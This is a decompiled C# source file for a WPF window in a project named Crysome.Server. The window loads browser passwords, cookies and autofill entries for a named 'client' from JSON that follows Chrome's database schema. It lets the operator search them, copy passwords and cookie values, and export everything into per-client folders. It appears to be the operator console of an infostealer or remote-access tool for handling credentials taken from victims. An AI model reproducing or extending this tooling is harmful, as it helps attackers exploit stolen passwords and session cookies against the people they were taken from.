using System; using System.CodeDom.Compiler; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Linq; using System.Text; using System.Text.Json; using System.Windows; using System.Windows.Controls; using System.Windows.Controls.Primitives; using System.Windows.Input; using System.Windows.Markup; using Wpf.Ui.Controls; namespace Crysome.Server.View; public class CredentialsViewerWindow : FluentWindow, IComponentConnector { public class PasswordEntry { public string Browser { get; set; } public string Url { get; set; } public string Username { get; set; } public string Password { get; set; } } public class CookieEntry { public string Browser { get; set; } public string Host { get; set; } public string Name { get; set; } public string Value { get; set; } public string Path { get; set; } public string Expires { get; set; } } public class AutofillEntry { public string Browser { get; set; } public string Name { get; set; } public string Value { get; set; } } private readonly string _passwordsJson; private readonly string _cookiesJson; private readonly string _autofillsJson; private readonly string _clientDisplayName; private List _allPasswords = new List(); private List _allCookies = new List(); private List _allAutofills = new List(); internal TextBlock TitleText; internal TextBox SearchBox; internal Button ExportBtn; internal Button CloseBtn; internal TabControl MainTabs; internal DataGrid PasswordsGrid; internal DataGrid CookiesGrid; internal DataGrid AutofillsGrid; internal TextBlock StatusText; private bool _contentLoaded; public CredentialsViewerWindow(string title, string passwordsJson, string cookiesJson, string autofillsJson = null, string errorMessage = null) { InitializeComponent(); _passwordsJson = passwordsJson ?? ""; _cookiesJson = cookiesJson ?? ""; _autofillsJson = autofillsJson ?? ""; ((Window)this).Title = title ?? "Credentials"; TitleText.Text = title ?? "Credentials"; _clientDisplayName = SanitizeFolderName(ExtractClientName(title)); if (!string.IsNullOrEmpty(errorMessage)) { StatusText.Text = "Error: " + errorMessage; } LoadPasswords(); } private void LoadPasswords() { _allPasswords = ParsePasswordsJson(_passwordsJson); PasswordsGrid.ItemsSource = ((_allPasswords.Count > 0) ? _allPasswords : new List { new PasswordEntry { Browser = "", Url = "(empty)", Username = "", Password = "" } }); UpdateStatus(); } private void LoadCookies() { if (_allCookies.Count == 0 || CookiesGrid.ItemsSource == null) { _allCookies = ParseCookiesJson(_cookiesJson); CookiesGrid.ItemsSource = ((_allCookies.Count > 0) ? _allCookies : new List { new CookieEntry { Browser = "", Host = "(empty)", Name = "", Value = "", Path = "", Expires = "" } }); UpdateStatus(); } } private void LoadAutofills() { if (_allAutofills.Count == 0 || AutofillsGrid.ItemsSource == null) { _allAutofills = ParseAutofillsJson(_autofillsJson); AutofillsGrid.ItemsSource = ((_allAutofills.Count > 0) ? _allAutofills : new List { new AutofillEntry { Browser = "", Name = "(empty)", Value = "" } }); UpdateStatus(); } } private void UpdateStatus() { int count = _allPasswords.Count; int count2 = _allCookies.Count; int count3 = _allAutofills.Count; StatusText.Text = $"Passwords: {count} | Cookies: {count2} | Autofills: {count3}"; } private static string SafeGetString(JsonElement el, params string[] propertyNames) { foreach (string propertyName in propertyNames) { if (el.TryGetProperty(propertyName, out var value) && value.ValueKind != JsonValueKind.Null && value.ValueKind != JsonValueKind.Undefined) { return value.ToString() ?? ""; } } return ""; } private static List ParsePasswordsJson(string json) { List list = new List(); if (string.IsNullOrWhiteSpace(json)) { return list; } try { string text = json.Trim(); if (text.StartsWith("[")) { using JsonDocument jsonDocument = JsonDocument.Parse(text); foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray()) { PasswordEntry passwordEntry = new PasswordEntry(); passwordEntry.Url = SafeGetString(item, "origin_url", "action_url", "url", "origin"); passwordEntry.Username = SafeGetString(item, "username_value", "username"); passwordEntry.Password = SafeGetString(item, "password_value", "password"); passwordEntry.Browser = SafeGetString(item, "browser", "browser_name"); if (string.IsNullOrEmpty(passwordEntry.Browser)) { passwordEntry.Browser = DetectBrowserFromUrl(passwordEntry.Url); } if (!string.IsNullOrWhiteSpace(passwordEntry.Username) || !string.IsNullOrWhiteSpace(passwordEntry.Password)) { list.Add(passwordEntry); } } if (list.Count > 0) { return list; } } } catch { } string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries); for (int i = 0; i < array.Length; i++) { string text2 = array[i].Trim(); if (!text2.StartsWith("[")) { continue; } try { using JsonDocument jsonDocument2 = JsonDocument.Parse(text2); foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray()) { PasswordEntry passwordEntry2 = new PasswordEntry(); passwordEntry2.Url = SafeGetString(item2, "origin_url", "action_url", "url", "origin"); passwordEntry2.Username = SafeGetString(item2, "username_value", "username"); passwordEntry2.Password = SafeGetString(item2, "password_value", "password"); passwordEntry2.Browser = SafeGetString(item2, "browser", "browser_name"); if (string.IsNullOrEmpty(passwordEntry2.Browser)) { passwordEntry2.Browser = DetectBrowserFromUrl(passwordEntry2.Url); } if (!string.IsNullOrWhiteSpace(passwordEntry2.Username) || !string.IsNullOrWhiteSpace(passwordEntry2.Password)) { list.Add(passwordEntry2); } } } catch { } } return list; } private static string DetectBrowserFromUrl(string url) { if (string.IsNullOrEmpty(url)) { return ""; } if (url.Contains("chrome")) { return "Chrome"; } if (url.Contains("edge")) { return "Edge"; } if (url.Contains("brave")) { return "Brave"; } return ""; } private static List ParseCookiesJson(string json) { List list = new List(); if (string.IsNullOrWhiteSpace(json)) { return list; } try { string text = json.Trim(); if (text.StartsWith("[")) { using (JsonDocument jsonDocument = JsonDocument.Parse(text)) { foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray()) { CookieEntry cookieEntry = new CookieEntry(); cookieEntry.Host = SafeGetString(item, "host_key", "host", "domain"); cookieEntry.Name = SafeGetString(item, "name"); cookieEntry.Value = SafeGetString(item, "value"); if (string.IsNullOrEmpty(cookieEntry.Value) && item.TryGetProperty("encrypted_value", out var value) && value.ValueKind != JsonValueKind.Null) { cookieEntry.Value = "[encrypted]"; } cookieEntry.Path = SafeGetString(item, "path"); cookieEntry.Expires = SafeGetString(item, "expires_utc", "expires", "expirationDate"); cookieEntry.Browser = SafeGetString(item, "browser", "browser_name"); if (string.IsNullOrEmpty(cookieEntry.Browser)) { cookieEntry.Browser = DetectBrowserFromHost(cookieEntry.Host); } if (!string.IsNullOrWhiteSpace(cookieEntry.Name) || !string.IsNullOrWhiteSpace(cookieEntry.Host)) { list.Add(cookieEntry); } } return list; } } } catch { } string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries); for (int i = 0; i < array.Length; i++) { string text2 = array[i].Trim(); if (!text2.StartsWith("[")) { continue; } try { using JsonDocument jsonDocument2 = JsonDocument.Parse(text2); foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray()) { CookieEntry cookieEntry2 = new CookieEntry(); cookieEntry2.Host = SafeGetString(item2, "host_key", "host", "domain"); cookieEntry2.Name = SafeGetString(item2, "name"); cookieEntry2.Value = SafeGetString(item2, "value"); if (string.IsNullOrEmpty(cookieEntry2.Value) && item2.TryGetProperty("encrypted_value", out var value2) && value2.ValueKind != JsonValueKind.Null) { cookieEntry2.Value = "[encrypted]"; } cookieEntry2.Path = SafeGetString(item2, "path"); cookieEntry2.Expires = SafeGetString(item2, "expires_utc", "expires", "expirationDate"); cookieEntry2.Browser = SafeGetString(item2, "browser", "browser_name"); if (string.IsNullOrEmpty(cookieEntry2.Browser)) { cookieEntry2.Browser = DetectBrowserFromHost(cookieEntry2.Host); } if (!string.IsNullOrWhiteSpace(cookieEntry2.Name) || !string.IsNullOrWhiteSpace(cookieEntry2.Host)) { list.Add(cookieEntry2); } } } catch { } } return list; } private static string DetectBrowserFromHost(string host) { string.IsNullOrEmpty(host); return ""; } private static List ParseAutofillsJson(string json) { List list = new List(); if (string.IsNullOrWhiteSpace(json)) { return list; } try { string text = json.Trim(); if (text.StartsWith("[")) { using JsonDocument jsonDocument = JsonDocument.Parse(text); foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray()) { AutofillEntry autofillEntry = new AutofillEntry(); autofillEntry.Browser = SafeGetString(item, "browser", "browser_name"); autofillEntry.Name = SafeGetString(item, "name"); autofillEntry.Value = SafeGetString(item, "value"); list.Add(autofillEntry); } if (list.Count > 0) { return list; } } } catch { } string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries); for (int i = 0; i < array.Length; i++) { string text2 = array[i].Trim(); if (!text2.StartsWith("[")) { continue; } try { using JsonDocument jsonDocument2 = JsonDocument.Parse(text2); foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray()) { AutofillEntry autofillEntry2 = new AutofillEntry(); autofillEntry2.Browser = SafeGetString(item2, "browser", "browser_name"); autofillEntry2.Name = SafeGetString(item2, "name"); autofillEntry2.Value = SafeGetString(item2, "value"); list.Add(autofillEntry2); } } catch { } } return list; } private void SearchBox_TextChanged(object sender, TextChangedEventArgs e) { string q = (SearchBox.Text ?? "").ToLowerInvariant().Trim(); if (MainTabs.SelectedIndex == 0) { PasswordsGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allPasswords : _allPasswords.Where((PasswordEntry p) => Contains(p.Url, q) || Contains(p.Username, q) || Contains(p.Browser, q) || Contains(p.Password, q)).ToList()); } else if (MainTabs.SelectedIndex == 1) { CookiesGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allCookies : _allCookies.Where((CookieEntry c) => Contains(c.Host, q) || Contains(c.Name, q) || Contains(c.Value, q) || Contains(c.Browser, q)).ToList()); } else if (MainTabs.SelectedIndex == 2) { AutofillsGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allAutofills : _allAutofills.Where((AutofillEntry a) => Contains(a.Name, q) || Contains(a.Value, q) || Contains(a.Browser, q)).ToList()); } } private static bool Contains(string s, string q) { if (!string.IsNullOrEmpty(s)) { return s.ToLowerInvariant().Contains(q); } return false; } private void MainTabs_SelectionChanged(object sender, SelectionChangedEventArgs e) { if (SearchBox != null) { SearchBox.Text = ""; } TabControl mainTabs = MainTabs; if (mainTabs != null && mainTabs.SelectedIndex == 1) { LoadCookies(); } TabControl mainTabs2 = MainTabs; if (mainTabs2 != null && mainTabs2.SelectedIndex == 2) { LoadAutofills(); } } private void CopyPassword_Click(object sender, RoutedEventArgs e) { if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry) { SafeCopy(passwordEntry.Password); } } private void CopyUsername_Click(object sender, RoutedEventArgs e) { if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry) { SafeCopy(passwordEntry.Username); } } private void CopyRow_Click(object sender, RoutedEventArgs e) { if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry) { SafeCopy($"{passwordEntry.Browser}\t{passwordEntry.Url}\t{passwordEntry.Username}\t{passwordEntry.Password}"); } } private void CopyCookieValue_Click(object sender, RoutedEventArgs e) { if (CookiesGrid.SelectedItem is CookieEntry cookieEntry) { SafeCopy(cookieEntry.Value); } } private void CopyCookieName_Click(object sender, RoutedEventArgs e) { if (CookiesGrid.SelectedItem is CookieEntry cookieEntry) { SafeCopy(cookieEntry.Name); } } private void CopyCookieRow_Click(object sender, RoutedEventArgs e) { if (CookiesGrid.SelectedItem is CookieEntry cookieEntry) { SafeCopy($"{cookieEntry.Browser}\t{cookieEntry.Host}\t{cookieEntry.Name}\t{cookieEntry.Value}"); } } private static void SafeCopy(string text) { try { Clipboard.SetText(text ?? ""); } catch { } } private void ExportBtn_Click(object sender, RoutedEventArgs e) { try { string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Exports", _clientDisplayName); Directory.CreateDirectory(text); if (!string.IsNullOrWhiteSpace(_passwordsJson)) { File.WriteAllText(Path.Combine(text, "passwords.json"), _passwordsJson, Encoding.UTF8); } if (!string.IsNullOrWhiteSpace(_cookiesJson)) { File.WriteAllText(Path.Combine(text, "cookies.json"), _cookiesJson, Encoding.UTF8); } if (!string.IsNullOrWhiteSpace(_autofillsJson)) { File.WriteAllText(Path.Combine(text, "autofills.json"), _autofillsJson, Encoding.UTF8); } StatusText.Text = "Exported to " + text; } catch (Exception ex) { StatusText.Text = "Export failed: " + ex.Message; } } private void CloseBtn_Click(object sender, RoutedEventArgs e) { ((Window)this).Close(); } private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) { try { ((Window)this).DragMove(); } catch { } } private static string ExtractClientName(string title) { if (string.IsNullOrEmpty(title)) { return "Unknown"; } int num = title.IndexOf(" — ", StringComparison.Ordinal); if (num < 0) { return title; } return title.Substring(num + 3).Trim(); } private static string SanitizeFolderName(string name) { if (string.IsNullOrEmpty(name)) { return "Unknown"; } char[] invalid = Path.GetInvalidFileNameChars(); return string.Concat(name.Where((char c) => !Enumerable.Contains(invalid, c))); } [DebuggerNonUserCode] [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] public void InitializeComponent() { if (!_contentLoaded) { _contentLoaded = true; Uri resourceLocator = new Uri("/Crysome.Server;component/view/credentialsviewerwindow.xaml", UriKind.Relative); Application.LoadComponent(this, resourceLocator); } } [DebuggerNonUserCode] [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] [EditorBrowsable(EditorBrowsableState.Never)] void IComponentConnector.Connect(int connectionId, object target) { //IL_0098: Unknown result type (might be due to invalid IL or missing references) //IL_00a2: Expected O, but got Unknown //IL_00bc: Unknown result type (might be due to invalid IL or missing references) //IL_00c6: Expected O, but got Unknown switch (connectionId) { case 1: ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; break; case 2: TitleText = (TextBlock)target; break; case 3: SearchBox = (TextBox)target; SearchBox.TextChanged += SearchBox_TextChanged; break; case 4: ExportBtn = (Button)target; ((ButtonBase)(object)ExportBtn).Click += ExportBtn_Click; break; case 5: CloseBtn = (Button)target; ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; break; case 6: MainTabs = (TabControl)target; MainTabs.SelectionChanged += MainTabs_SelectionChanged; break; case 7: PasswordsGrid = (DataGrid)target; break; case 8: ((MenuItem)target).Click += CopyPassword_Click; break; case 9: ((MenuItem)target).Click += CopyUsername_Click; break; case 10: ((MenuItem)target).Click += CopyRow_Click; break; case 11: CookiesGrid = (DataGrid)target; break; case 12: ((MenuItem)target).Click += CopyCookieValue_Click; break; case 13: ((MenuItem)target).Click += CopyCookieName_Click; break; case 14: ((MenuItem)target).Click += CopyCookieRow_Click; break; case 15: AutofillsGrid = (DataGrid)target; break; case 16: StatusText = (TextBlock)target; break; default: _contentLoaded = true; break; } } }